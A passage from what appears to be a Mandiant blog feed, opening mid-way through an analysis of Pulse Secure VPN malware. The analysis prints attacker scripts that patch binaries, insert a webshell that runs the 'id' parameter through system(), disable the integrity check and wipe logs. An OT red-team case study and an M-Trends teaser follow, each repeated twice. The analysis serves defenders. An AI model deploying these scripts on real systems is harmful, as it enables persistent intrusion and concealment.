printf '\x01' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32)) printf '\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33))
printf '\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34)) printf '\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35))

##### SLOWPULSE Variant 4 UnPatcher

As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to remove the malicious logic into the original libdsplibs.so file for SLOWPULSE V4. The attacker chose to remove the patches applied to libdsplibs.so. The file with SHA256: b2350954b9484ae4eac42b95fae6edf7a126169d0b93d79f49d36c5e6497062a is the unpatcher utility for SLOWPULSE V4. This sample is also a simple bash script, in full it is:

printf '\xE8' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31)) printf '\xE2' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32))
printf '\x08' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33)) printf '\xD0' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34))

It checks if the file has the contents system($depara). If the file does not contain this content, then retrieve the first line of the file by executing: • sed -n 1p /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi Then copy a file via: • cp /home/webserver/htdocs/dana-na/auth/compcheckjava.cgi /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi Then replace the copy’s first line with the one retrieved from the sed above via: • sed -i 1c"<varies>" /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi Check 2 If /tmp/data/root/home/bin/ exists as a directory, then check if the file /tmp/data/root/home/bin/dshelper does not exist. If it does not exist, then place it there by copying a file via: • cp -p /home/bin/dshelper /tmp/data/root/home/bin/ Check 3 If /tmp/data/root/home/bin/dsserver exists and is non-empty then execute the following to check if the file does not contain the string exec("/home/bin/dshelper"): • grep -c -s 'exec("/home/bin/dshelper")' /tmp/data/root/home/bin/dsserver If it doesn't then execute to insert the line: • sed -i 's/for (;;)/my$monpid = fork();\nif ($monpid == 0) {\nexec(\"\/home\/bin\/dshelper\");\n}\n&/g' /tmp/data/root/home/bin/dsserver Check 4 If the file /tmp/data/root/home/bin/check_integrity.sh exists and is non-empty, then check if the file contains the string exit 1 by executing: • grep -c -s 'exit 1' /tmp/data/root/home/bin/check_integrity.sh If the file does contain this content, then execute the following to switch the content to exit 0: • sed -i 's/exit 1/exit 0/g' /tmp/data/root/home/bin/check_integrity.sh ##### PULSEJUMP The file with SHA256: 7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a is a system information and credential harvesting Perl script. The sample writes information from multiple sources to the file /tmp/dsactiveuser.statementcounters in append mode. The sample begins by retrieving all auth servers via the API AuthAdmin::getAllAuthServers. and logs the results. Next, the sample logs all roles via the API DSRole::GeneralAdmin::getRoles and writes the values to the file. The sample may also retrieve and log additional information depending on the device configuration. ##### HARDPULSE The file compcheckjava.cgi (SHA256: 1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc) has the ability to read and write arbitrary files and may execute arbitrary commands depending on the implementation of a particular library function. The sample responds to HTTP GETs and PUTs. The GET path is not relevant, but the PUT path first checks if the incoming requests checkcode POST param is equal to a hardcoded passcode. If this check passes the sample inspects the param hashid to determine if it's non-empty. If non-empty the sample displays a prompt to the user that includes hardware information and then base64 decodes the param hashid and checks it against pulsesecure. If this matches a recoveryToken is generated which is the MD5 hash of 16 random bytes, with the result hash truncated to 8 characters. This token is then displayed to the user via the URL https://ive-host/dana-na/auth/recover[.]cgi?token=<varies> and the sample exits. If this check did not match then the sample passes the base64 decoded data to a routine DSSafe::psystem which may execute shell commands, however this implementation is not provided and is speculation. If the param hashid is empty the sample instead checks that the param m is non-empty. If so, it's matched against get and put which will read/write arbitrary files to the host, respectively. ##### ATRIUM The file compcheckresult.cgi (SHA256: f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90) is a webshell capable of arbitrary command execution. The sample has malicious logic inserted at the end of legitimate logic. The malicious logic inspects all requests of any type looking for the HTTP query parameter id. If this query parameter exists, the sample executes it verbatim on using the system API. The sample does not encode or obfuscate the command in any way. If the query parameter is not found in the request, then the original legitimate logic is invoked. ##### Persistence Patcher The file DSUpgrade.pm (SHA256: 224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450) is a patcher utility script responsible for persisting webshells across a system upgrade. We’ve observed variants of this utility targeting the persistence of multiple webshell families, notably ATRIUM, STEADYPULSE, and PULSECHECK. Like previous patchers, this sample uses sed to insert malicious logic. The attacker likely chose DSUpgade.pm to host their patch logic as it is a core file in the system upgrade procedure, ensuring the patch is during updates. The patcher modifies content in /tmp/data as this directory holds the extracted upgrade image the newly upgraded system will boot into. This results in a persistence mechanism which allows the attacker to maintain access to the system across updates. my$cmd_x="sed -i '/echo_console \"Saving package\"/i(
sed -i \\\'/main();\\\$/cif(CGI::param(\\\\\"id\\\\\")){ print \\\\\"Cache-Control: no-cache\\\\\\\\n\\\\\"; print \\\\\"Content-type: text/html\\\\\\\\n\\\\\\\\n\\\\\"; my \\\\\$na=CGI::param(\\\\\"id\\\\\");
system(\\\\\"\\\\\$na\\\"); } else{ &main(); }\\\' /tmp/data/root$cgi_p;
cp -f /pkg/dspkginstall /tmp/data/root/pkg/;
)'/pkg/do-install";

The patcher also performs additional shell commands for unpacking a compressed package:

system("/bin/mount -o remount,rw /dev/root /");
system("/bin/tar", "-xzf", "/tmp/new-pack.tgz", "-C", "/tmp","./installer");
system("cp -f /tmp/installer/do-install /pkg/");
system("cp -f /tmp/installer/VERSION /pkg/");
system("cp -f /tmp/installer/sysboot-shlib /pkg/");
system("cp -f /tmp/installer/losetup /pkg/");

##### PACEMAKER

The file memread (SHA256: 68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2) is a credential stealer. The sample has the usage information:

Usage: memread [-t time(minute)] [-m size(MB)] [-s sleep_interval(second)]

The sample starts by setting an alarm that kills the application after a configurable number of minutes, 14 by default. It then enters a loop which reads /proc/ entries every 2 seconds looking for a target application, this interval is also configurable. The target is found by opening /proc/<process_name>/cmdline for each entry in the folder and then reading this file looking for the string dswsd within the command line. Once found the target application's proc/<target_pid>/mem is opened, the process is attached to with PTRACE, then memory read in chunks up to 512 bytes in size. For each chunk, the string 20 30 20 0A 00 ( 0 \n) is searched for as a needle. If found the sample splits the data by first space, then a dash -. Two dashes are expected to be found, and these are immediately converted into hex numbers, example form: -<number>. If the second number minus the first is > 8191 the sample reads the data starting at the file offset of the first number, up to a size specified by second number minus first number.

Once the sample has read the process memory and found all memory data of interest the sample detaches PTRACE then the sample begins memory scanning the copied data. The sample tries to locate a sequence of 'flags' in memory one by one to locate what seem to be information the attacker wishes to steal. This information is not known, nor is the structure of it. The sequences scanned for generally have start and end scan sequences which in order scanned for, are:

USER_START_FLAG: 3C 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 05 00
USER_END_FLAG: 3C 2F 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 00
PASSWORD_START_FLAG: 3C 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00
PASSWORD_END_FLAG: 3C 2F 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00
AUTHNUM_START_FLAG: 3C 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00
AUTHNUM_END_FLAG: 3C 2F 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00

If all these sequences are found, the data between the start and end is extracted and eventually formatted and written to the file /tmp/dsserver-check.statementcounters. The approximate format of this data is:

The sample replaces the following URL encoded values with their ascii representation for the password:

&amp; ->  &
&lt;  ->  <
&gt;  ->  >

##### PACEMAKER Launcher Utility

As part of our investigation into PACEMAKER we were able to retrieve a simple bash script responsible for launching the credential stealer. The launcher script hash SHA256 4c5555955b2e6dc55f52b0c1a3326f3d07b325b112060329c503b294208960ec launches PACEMAKER from a hardcoded path with options specifying a 16MB memory read size and a memory scan interval of 2 seconds, with a variable self-kill time.

#!/bin/bash

/home/bin/memread -t $1 -m 16 -s 2 & ##### THINBLOOD Log Wiper Utility The file dsclslog with SHA256 88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079 is a log wiper utility. The sample provides the usage information: Usage: dsclslog -f [events|access] -r [Regex1,Regex2,Regex3,...] The –f flag specifies if the file log.events.vc0 or log.access.vc0 within the directory /home/runtime/logs should be modified. To perform its log cleaning operations the sample first makes two copies of whichever log file was chosen, but uses .vc1 and .vc2 as the extension for the new files. The file with the .vc1 is used to search for entries that match the given entries, and the file with the .vc2 extension is used as a temporary file where the cleaned log is written. After generating both files and log cleaning is finished the sample executes the following commands via the system API to overwrite the original log with the cleaned version, then removes the intermediate: mv /home/runtime/logs/log.<logtype>.vc2 /home/runtime/logs/log.<logtype>.vc0 rm /home/runtime/logs/log.<logtype>.vc1 ##### THINBLOOD LogWiper Utility Variant The file clear_log.sh (SHA256: 1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9) is a BASH script responsible for zeroing log lines that match a given regex pattern. The sample is similar to the compiled THINBLOOD Log Wiper but edits logs in-place with sed rather than making temporary copies. The sed commands used are: sed -i "s/.\x00[^\x00]*<regex_string>[^\x00]*\x09.\x00//g" /data/runtime/logs/<logfile> sed -i "s/\x<hex_char>\x00[^\x00]*$2[^\x00]*\x09\x<hex_char>\x00//g" /data/runtime/logs/<logfile>

The sample embeds the usage information:

usage: /home/bin/bash clear_log.sh [logfile] [keyword(regex)]

##### LOCKPICK

The file libcrypto.so (SHA256: 2610d0372e0e107053bc001d278ef71f08562e5610691f18b978123c499a74d8) is a shared object containing cryptographic logic from openssl. The sample contains a modification to the routine bnrand_range that breaks the security of the random numbers generated. There are three paths in this routine for generating a random big number between a given range. The first case is unmodified and generates a zeroed big number, the other two cases are patched so that a constant value overwrites the generated random value and always returns success. This breaks the random number generation by replacing it with a value the attacker knows in all cases.

##### LOCKPICK Patcher

The file with the hash b990f79ce80c24625c97810cb8f161eafdcb10f1b8d9d538df4ca9be387c35e4 is a patcher utility responsible for inserting the malicious logic known as LOCKPICK. The patcher starts by running sed on the integrity checker script built into the appliance to insert an early exit routine. This is inserted by the command sed -i '12aexit 0' /home/bin/check_integrity.sh which when applied causes this script to exit without performing its intended checks. After this the sample uses python file read/write APIs to insert long strings of assembly that represent the logic known as LOCKPICK. This file is different from the other patchers we’ve identified in that it is python and specifically targets system integrity routines.

#### Detecting the Techniques

The following table contains specific FireEye product detection names for the malware families associated with the exploitation of Pulse Secure VPN device.

#### Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

#### Acknowledgements

Mandiant would like to thank the Stroz Friedberg DFIR and Security Testing teams for their collaboration with the analysis and research. The team would also like to thank Joshua Villanueva, Regina Elwell, Jonathan Lepore, Dimiter Andonov, Josh Triplett, Jacob Thompson and Michael Dockry for their hard work in analysis and blog content.

# Hacking Operational Technology for Defense: Lessons Learned From OT Red Teaming Smart Meter Control Infrastructure

13 April 2021 at 15:00

High-profile security incidents in the past decade have brought increased scrutiny to cyber security for operational technology (OT). However, there is a continued perception across critical infrastructure organizations that OT networks are isolated from public networks—such as the Internet. In Mandiant’s experience, the concept of an ‘air gap’ separating OT assets from external networks rarely holds true in practice.

In 2018, we released a blog post presenting the tools and techniques that TEMP.Veles used during the TRITON incident to traverse from an external compromise of the information technology (IT) network of a critical infrastructure organization to the safety systems located deep in the OT network. We regularly reproduce this approach in our OT-focused red team engagements to expose similar attack paths across client infrastructure and to identify environment specific opportunities to prevent and detect network propagation techniques across intermediary systems.

In this blog post, we share another case study from one of our OT Red Team engagements to illustrate the tactics, techniques, and procedures (TTPs) that can be leveraged by sophisticated threat actors to breach the protected perimeter between an IT network and an OT network. We also examine some of the different types of critical information often found in IT networks that an attacker can leverage during later stages of the Targeted Attack Lifecycle. The goal of this engagement was to access an endpoint meter control infrastructure for a state-wide smart grid environment from the Internet and turn it off.

To hear our experts relay more on this and other OT Red Team lessons learned, join our FireEye Mandiant Virtual Summit session.

#### Building the Foundation: Information Gathering for IT-OT Network Propagation

Targeted OT attacks attempting to cause physical impacts require planning. A sophisticated actor who is motivated to disrupt or modify an industrial process from a public network will necessarily need to maintain access to the victim environment and remain undetected for enough time to accomplish their objective. Throughout this time, the actor will strive to learn about the control process to formulate the attack, figure out how to pivot to the OT systems and bypass security controls, and sometimes even develop or deploy custom OT malware.

Similar to the techniques used by TEMP.Veles to reach the OT network during the TRITON incident, Mandiant’s experience during red team engagements highlights that collecting information from IT network assets plays a crucial role in targeted OT attacks. As a result, the internal reconnaissance phase for OT targeted attacks begins in the enterprise network, where the actor obtains knowledge and resources to propagate from an initial compromise in the IT network to remote access in the OT network. Detailed information collected about the target, their security operations, and their environment can also support an actor's attempts at remaining undetected while expanding operations.

Figure 1: Targeted OT attack from a public network

#### Thinking Like an Adversary: How to Turn Off Smart Energy Meters

The ideal scenario for an attacker targeting OT systems is to achieve their objective while remaining undetected. Mandiant’s Red Team works with clients across critical infrastructure industries to simulate attack scenarios in which actors can accomplish this goal by gaining access to OT systems via compromise of external facing IT networks. During these engagements, we emulate real actor behaviors to learn about our target and to determine the best paths for IT/OT network propagation.

For this engagement, we simulated an end-to-end OT-specific attack scenario in which we tested the security controls and response capabilities of an organization to protect smart grid meter control infrastructure from an external attacker. Mandiant leveraged weaknesses in people, process, and technology to gain remote access from the public Internet and to achieve a set of pre-approved objectives in the OT environment.

Establishing a Foothold in the IT Network

Mandiant conducted a spear phishing exercise to gain initial access into the client’s enterprise network from the Internet. We defined a combination of two different phishing scenarios that we deployed to test email filtering and egress monitoring controls:

• Embedded link for a malicious file hosted on a Mandiant owned domain on the Internet
• Email attachment for a Microsoft Office document with auto - executable macro code

This exercise allowed our team to achieve code execution on a user workstation in the enterprise environment and to establish an unattributable egress communication path to a Mandiant hosted Cobalt Strike Command and Control (C&C) server on the Internet. After establishing a stable communication path with workstations in the enterprise environment, we utilized the following publicly available offensive security tools (OST) to escalate privileges and to obtain domain administrator level access:

• ldapsearch to enumerate information in the enterprise domain
• PowerSploit to exploit common security misconfigurations in IT
• WMImplant to move laterally from one system to another in the internal network
• Mimikatz to extract credentials for local user and domain administrator accounts

As domain administrators, we gained unrestricted access to a variety of resources connected to the enterprise domain (e.g. server resources, file shares, IT applications, and administrator consoles for IT systems). During the initial stages of our engagement, our actions were in no way different to other less sophisticated intrusions on industrial organizations, such as financially-motivated compromises.

Defining Our Path to the OT Network

Similar to real world threat actors carrying out targeted OT attacks, Mandiant’s OT Red Team dedicates significant effort for internal reconnaissance in the IT network to develop a logical mapping of the extended network architecture and discover targets of interest (people, processes, or technology). The information we acquire helps us to (a) define paths to propagate from the IT to the OT network and (b) achieve our final objective in the OT network without raising alarms. During OT Red Team engagements across different industries, we follow a real attacker’s cost-benefit analysis to determine which sources or methods are most likely to help us obtain that information.

Figure 2: Information sources and target information from enterprise networks

For this engagement, we leveraged the domain administrator credentials obtained in the previous phase to gain access to Microsoft System Center Configuration Manager (SCCM) in the IT network. Logged into the SCCM console, we leveraged software deployment features for collection to establish C&C over user workstations belonging to pre-selected departments in the client organization.

Mandiant chose the specific groups based on the names of their departments and the description attributes, which suggested a high likelihood of member users with high privilege access for network infrastructure or application management. This included members of the following groups: network management, firewall administration, control engineering, and smart meter operations.

Access to user workstations of target employees in these departments enabled us to:

• Capture keystrokes to obtain remote desktop protocol (RDP) credentials for the OT network by using a Cobalt Strike modified script
• Login to department file shares and extract OT system design documents
• Extract network design documents and backup files for OT firewall configurations found in the firewall management console
• Find plaintext credentials for OT management systems from operation manuals

Internal reconnaissance in the IT network not only allowed us to obtain remote access credentials for the OT network, but to also gain a deeper understanding of the business processes and technical control system operations in the OT environment by reviewing internal OT-specific operational procedures and security documentation such as asset inventories and configurations.

Propagating to the OT Network

During the process of propagation from IT to OT networks, an actor will leverage previously compromised systems, credentials, or applications to access systems in higher security zones—such as OT demilitarized zones (DMZ). Based on our observations during multiple red teaming engagements and research, the most likely attack vectors for propagation are:

Table 1: Most likely attack vectors for IT/OT propagation

For this engagement, we initially analyzed the system architecture to define the best path to follow. Engineers from the target organization were required to use multi-factor-authentication (MFA) to gain remote access to jumpbox servers in the OT network. While not impossible, bypassing this setup would require more time and resources. We instead decided to search for other plausible attack propagation paths.

Figure 3: Formal communication path from enterprise to OT network

Reviewing the firewall configuration files, we identified a dedicated communication path for management access to a Microsoft Windows patch management server in a DMZ between the IT network and the OT network. This patch management server was running on a virtual machine in the DMZ network, while the administration console for the underlying hypervisor software itself was hosted in the IT network.

Mandiant logged into the administration console for the hypervisor software using IT network domain administrator credentials. We then leveraged guest machine administration features via direct console access to execute commands on the patch management server in the DMZ network. The compromise of the patch management server in the DMZ allowed us to pivot via SMB connections to Microsoft Windows-based intermediary systems in the OT network.

Figure 4: Remote attack propagation path from IT network to OT network

Lastly, we compromised Microsoft Windows server systems in the OT network to complete the objectives of the exercise. Using OT credentials retrieved in the previous phases, we authenticated to the SMB service (using single factor authentication) by pivoting through the patch management server in the DMZ network. This enabled us to execute remote console commands on management servers (such as the domain controller) in the OT network.

With access to the domain controller in the core OT network, we extracted credentials for high privilege domain administrator accounts in the OT network using DCSYNC and Mimikatz. Using these accounts, we gained control of management servers, application servers, and operator workstations in the OT network. Mandiant was also able to use compromised credentials to login to the human machine interface (HMI) portal for the meter control infrastructure and issue a disconnect command for a target endpoint meter in the smart grid environment.

#### Strategic Collection and Detection Opportunities During Reconnaissance and Network Propagation

Although specific capabilities such as malware and tooling vary amongst incidents, internal reconnaissance and network propagation are consistently needed for sophisticated adversaries to expand remote operations from external networks to OT systems. Focusing collection, detection, and hunting efforts on assets or information that are likely to be compromised during these phases presents defenders with strategic opportunities to hunt for and detect targeted adversary activity before it poses a risk to control systems.

• In a previous blog post stating our approach to OT security, we highlighted that IT networks close to production networks and OT intermediary systems remain the best zones to detect OT targeted attacks, a.k.a. “The Funnel of Opportunity”. As actors pivot across systems and networks to gather information and elevate privileges, they leave footprints that can be tracked before they propagate to critical systems.
• An actor who covertly performs internal reconnaissance and propagates to the OT network is already positioned to cause damage on mission critical assets and is unlikely to be discovered. Early detection of adversary activity before reaching critical OT systems will decrease the dwell time and the risk of an incident.
• OT defenders can prioritize collection and detection, alert triage, and incident response efforts by becoming familiar with the types of information and services that OT focused threat actors commonly search for during internal reconnaissance in IT networks and network propagation across OT intermediary systems.
• Understanding where this information resides presents defenders with a catalog of systems and networks to focus collection and detection efforts on. Defenders can create tailored detections to hunt for adversary activity pursuing this information, prioritize alert response efforts, and identify additional security controls to implement. Mandiant red teaming in OT can help organizations identify which data is valuable for attackers to support their network propagation efforts and which systems are most likely to be compromised by attackers targeting OT networks.

# M-Trends 2021: A View From the Front Lines

13 April 2021 at 13:45

We are thrilled to launch M-Trends 2021, the 12th edition of our annual FireEye Mandiant publication. The past year has been unique, as we witnessed an unprecedented combination of global events. Business operations shifted in response to the worldwide pandemic and threat actors continued to escalate the sophistication and aggressiveness of their attacks, while in parallel leveraged unexpected global events to their advantage.

We discuss all of this and much more in the full report, which is available for download today. But first, here is a sneak preview of the most popular M-Trends metric where we answer the critical question: Are organizations getting better at detecting attacks?

In short, yes! Back in 2011, we reported a 416-day global median dwell time, indicating that attackers were operating undetected on a system or network for over a year on average. This time, from Oct. 1, 2019 through Sept. 30, 2020, the median dwell time has decreased to only 24 days. This means—for the first time in M-Trends history—the median dwell time has dropped to under one month.

Although this drop in dwell time is promising, it is critical for organizations to remember that cyber adversaries typically only need a few days to achieve their objective, such as identifying and stealing the crown jewels of a victim organization or launching a crippling ransomware attack. Organizations across the globe must remain vigilant, to prepare for the next incident.

There is much more to unpack in the M-Trends 2021 report. Here is a quick rundown of what to expect:

• By the Numbers: A large and diverse set of metrics including attacker dwell time, detection by source, industry targeting, growing threat techniques, sophisticated malware families, and more.
• Ransomware: Front-line stories on how this harmful threat is evolving, challenges with recovery, and best practice hardening strategies to effectively combat this threat.
• Newly Named Threat Groups: More on FIN11, a financially motivated threat group that we promoted in 2020, which has been active since at least 2016 and is most recently known for operations involving ransomware and extortion.
• Pandemic-Related Threats: Breakdown of countless espionage campaigns targeting ground-breaking research in the race to learn more about COVID-19.
• UNC2452/SUNBURST: UNC2452’s headline-making compromise of environments via an implant in the SolarWinds Orion platform, mapped to the attack lifecycle framework with details at every stage.
• Case Studies: Mandiant engagements involving the rise of insider threats and how to be more prepared, plus advanced red teaming tactics that enabled access to executive emails without any exploits.

For over a decade, the mission of M-Trends has always been the same: to arm security professionals with insights on the latest attacker activity as seen directly on the front lines, backed by actionable learnings to improve organizations’ security postures within an evolving threat landscape.

Download the M-Trends 2021 report today, and then for more information, check out the FireEye Mandiant Virtual Summit. Starting today and running through April 15, the event includes a variety of sessions, with three related to M-Trends: one that provides an overview of the report and highlights key topics, another focused on our “By the Numbers” chapter coupled with mitigation solutions related to these metrics, and one covering the report through a lens from the EMEA region. Register now!

# Hacking Operational Technology for Defense: Lessons Learned From OT Red Teaming Smart Meter Control Infrastructure

13 April 2021 at 15:00

High-profile security incidents in the past decade have brought increased scrutiny to cyber security for operational technology (OT). However, there is a continued perception across critical infrastructure organizations that OT networks are isolated from public networks—such as the Internet. In Mandiant’s experience, the concept of an ‘air gap’ separating OT assets from external networks rarely holds true in practice.

In 2018, we released a blog post presenting the tools and techniques that TEMP.Veles used during the TRITON incident to traverse from an external compromise of the information technology (IT) network of a critical infrastructure organization to the safety systems located deep in the OT network. We regularly reproduce this approach in our OT-focused red team engagements to expose similar attack paths across client infrastructure and to identify environment specific opportunities to prevent and detect network propagation techniques across intermediary systems.

In this blog post, we share another case study from one of our OT Red Team engagements to illustrate the tactics, techniques, and procedures (TTPs) that can be leveraged by sophisticated threat actors to breach the protected perimeter between an IT network and an OT network. We also examine some of the different types of critical information often found in IT networks that an attacker can leverage during later stages of the Targeted Attack Lifecycle. The goal of this engagement was to access an endpoint meter control infrastructure for a state-wide smart grid environment from the Internet and turn it off.

To hear our experts relay more on this and other OT Red Team lessons learned, join our FireEye Mandiant Virtual Summit session.

#### Building the Foundation: Information Gathering for IT-OT Network Propagation

Targeted OT attacks attempting to cause physical impacts require planning. A sophisticated actor who is motivated to disrupt or modify an industrial process from a public network will necessarily need to maintain access to the victim environment and remain undetected for enough time to accomplish their objective. Throughout this time, the actor will strive to learn about the control process to formulate the attack, figure out how to pivot to the OT systems and bypass security controls, and sometimes even develop or deploy custom OT malware.

Similar to the techniques used by TEMP.Veles to reach the OT network during the TRITON incident, Mandiant’s experience during red team engagements highlights that collecting information from IT network assets plays a crucial role in targeted OT attacks. As a result, the internal reconnaissance phase for OT targeted attacks begins in the enterprise network, where the actor obtains knowledge and resources to propagate from an initial compromise in the IT network to remote access in the OT network. Detailed information collected about the target, their security operations, and their environment can also support an actor's attempts at remaining undetected while expanding operations.

Figure 1: Targeted OT attack from a public network

#### Thinking Like an Adversary: How to Turn Off Smart Energy Meters

The ideal scenario for an attacker targeting OT systems is to achieve their objective while remaining undetected. Mandiant’s Red Team works with clients across critical infrastructure industries to simulate attack scenarios in which actors can accomplish this goal by gaining access to OT systems via compromise of external facing IT networks. During these engagements, we emulate real actor behaviors to learn about our target and to determine the best paths for IT/OT network propagation.

For this engagement, we simulated an end-to-end OT-specific attack scenario in which we tested the security controls and response capabilities of an organization to protect smart grid meter control infrastructure from an external attacker. Mandiant leveraged weaknesses in people, process, and technology to gain remote access from the public Internet and to achieve a set of pre-approved objectives in the OT environment.

Establishing a Foothold in the IT Network

Mandiant conducted a spear phishing exercise to gain initial access into the client’s enterprise network from the Internet. We defined a combination of two different phishing scenarios that we deployed to test email filtering and egress monitoring controls:

• Embedded link for a malicious file hosted on a Mandiant owned domain on the Internet
• Email attachment for a Microsoft Office document with auto - executable macro code

This exercise allowed our team to achieve code execution on a user workstation in the enterprise environment and to establish an unattributable egress communication path to a Mandiant hosted Cobalt Strike Command and Control (C&C) server on the Internet. After establishing a stable communication path with workstations in the enterprise environment, we utilized the following publicly available offensive security tools (OST) to escalate privileges and to obtain domain administrator level access:

• ldapsearch to enumerate information in the enterprise domain
• PowerSploit to exploit common security misconfigurations in IT
• WMImplant to move laterally from one system to another in the internal network
• Mimikatz to extract credentials for local user and domain administrator accounts

As domain administrators, we gained unrestricted access to a variety of resources connected to the enterprise domain (e.g. server resources, file shares, IT applications, and administrator consoles for IT systems). During the initial stages of our engagement, our actions were in no way different to other less sophisticated intrusions on industrial organizations, such as financially-motivated compromises.

Defining Our Path to the OT Network

Similar to real world threat actors carrying out targeted OT attacks, Mandiant’s OT Red Team dedicates significant effort for internal reconnaissance in the IT network to develop a logical mapping of the extended network architecture and discover targets of interest (people, processes, or technology). The information we acquire helps us to (a) define paths to propagate from the IT to the OT network and (b) achieve our final objective in the OT network without raising alarms. During OT Red Team engagements across different industries, we follow a real attacker’s cost-benefit analysis to determine which sources or methods are most likely to help us obtain that information.

Figure 2: Information sources and target information from enterprise networks

For this engagement, we leveraged the domain administrator credentials obtained in the previous phase to gain access to Microsoft System Center Configuration Manager (SCCM) in the IT network. Logged into the SCCM console, we leveraged software deployment features for collection to establish C&C over user workstations belonging to pre-selected departments in the client organization.

Mandiant chose the specific groups based on the names of their departments and the description attributes, which suggested a high likelihood of member users with high privilege access for network infrastructure or application management. This included members of the following groups: network management, firewall administration, control engineering, and smart meter operations.

Access to user workstations of target employees in these departments enabled us to:

• Capture keystrokes to obtain remote desktop protocol (RDP) credentials for the OT network by using a Cobalt Strike modified script
• Login to department file shares and extract OT system design documents
• Extract network design documents and backup files for OT firewall configurations found in the firewall management console
• Find plaintext credentials for OT management systems from operation manuals

Internal reconnaissance in the IT network not only allowed us to obtain remote access credentials for the OT network, but to also gain a deeper understanding of the business processes and technical control system operations in the OT environment by reviewing internal OT-specific operational procedures and security documentation such as asset inventories and configurations.

Propagating to the OT Network

During the process of propagation from IT to OT networks, an actor will leverage previously compromised systems, credentials, or applications to access systems in higher security zones—such as OT demilitarized zones (DMZ). Based on our observations during multiple red teaming engagements and research, the most likely attack vectors for propagation are:

Table 1: Most likely attack vectors for IT/OT propagation

For this engagement, we initially analyzed the system architecture to define the best path to follow. Engineers from the target organization were required to use multi-factor-authentication (MFA) to gain remote access to jumpbox servers in the OT network. While not impossible, bypassing this setup would require more time and resources. We instead decided to search for other plausible attack propagation paths.

Figure 3: Formal communication path from enterprise to OT network

Reviewing the firewall configuration files, we identified a dedicated communication path for management access to a Microsoft Windows patch management server in a DMZ between the IT network and the OT network. This patch management server was running on a virtual machine in the DMZ network, while the administration console for the underlying hypervisor software itself was hosted in the IT network.

Mandiant logged into the administration console for the hypervisor software using IT network domain administrator credentials. We then leveraged guest machine administration features via direct console access to execute commands on the patch management server in the DMZ network. The compromise of the patch management server in the DMZ allowed us to pivot via SMB connections to Microsoft Windows-based intermediary systems in the OT network.

Figure 4: Remote attack propagation path from IT network to OT network

Lastly, we compromised Microsoft Windows server systems in the OT network to complete the objectives of the exercise. Using OT credentials retrieved in the previous phases, we authenticated to the SMB service (using single factor authentication) by pivoting through the patch management server in the DMZ network. This enabled us to execute remote console commands on management servers (such as the domain controller) in the OT network.

With access to the domain controller in the core OT network, we extracted credentials for high privilege domain administrator accounts in the OT network using DCSYNC and Mimikatz. Using these accounts, we gained control of management servers, application servers, and operator workstations in the OT network. Mandiant was also able to use compromised credentials to login to the human machine interface (HMI) portal for the meter control infrastructure and issue a disconnect command for a target endpoint meter in the smart grid environment.

#### Strategic Collection and Detection Opportunities During Reconnaissance and Network Propagation

Although specific capabilities such as malware and tooling vary amongst incidents, internal reconnaissance and network propagation are consistently needed for sophisticated adversaries to expand remote operations from external networks to OT systems. Focusing collection, detection, and hunting efforts on assets or information that are likely to be compromised during these phases presents defenders with strategic opportunities to hunt for and detect targeted adversary activity before it poses a risk to control systems.

• In a previous blog post stating our approach to OT security, we highlighted that IT networks close to production networks and OT intermediary systems remain the best zones to detect OT targeted attacks, a.k.a. “The Funnel of Opportunity”. As actors pivot across systems and networks to gather information and elevate privileges, they leave footprints that can be tracked before they propagate to critical systems.
• An actor who covertly performs internal reconnaissance and propagates to the OT network is already positioned to cause damage on mission critical assets and is unlikely to be discovered. Early detection of adversary activity before reaching critical OT systems will decrease the dwell time and the risk of an incident.
• OT defenders can prioritize collection and detection, alert triage, and incident response efforts by becoming familiar with the types of information and services that OT focused threat actors commonly search for during internal reconnaissance in IT networks and network propagation across OT intermediary systems.
• Understanding where this information resides presents defenders with a catalog of systems and networks to focus collection and detection efforts on. Defenders can create tailored detections to hunt for adversary activity pursuing this information, prioritize alert response efforts, and identify additional security controls to implement. Mandiant red teaming in OT can help organizations identify which data is valuable for attackers to support their network propagation efforts and which systems are most likely to be compromised by attackers targeting OT networks.

# M-Trends 2021: A View From the Front Lines

13 April 2021 at 13:45

We are thrilled to launch M-Trends 2021, the 12th edition of our annual FireEye Mandiant publication. The past year has been unique, as we witnessed an unprecedented combination of global events. Business operations shifted in response to the worldwide pandemic and threat actors continued to escalate the sophistication and aggressiveness of their attacks, while in parallel leveraged unexpected global events to their advantage.

We discuss all of this and much more in the full report, which is available for download today. But first, here is a sneak preview of the most popular M-Trends metric where we answer the critical question: Are organizations getting better at detecting attacks?

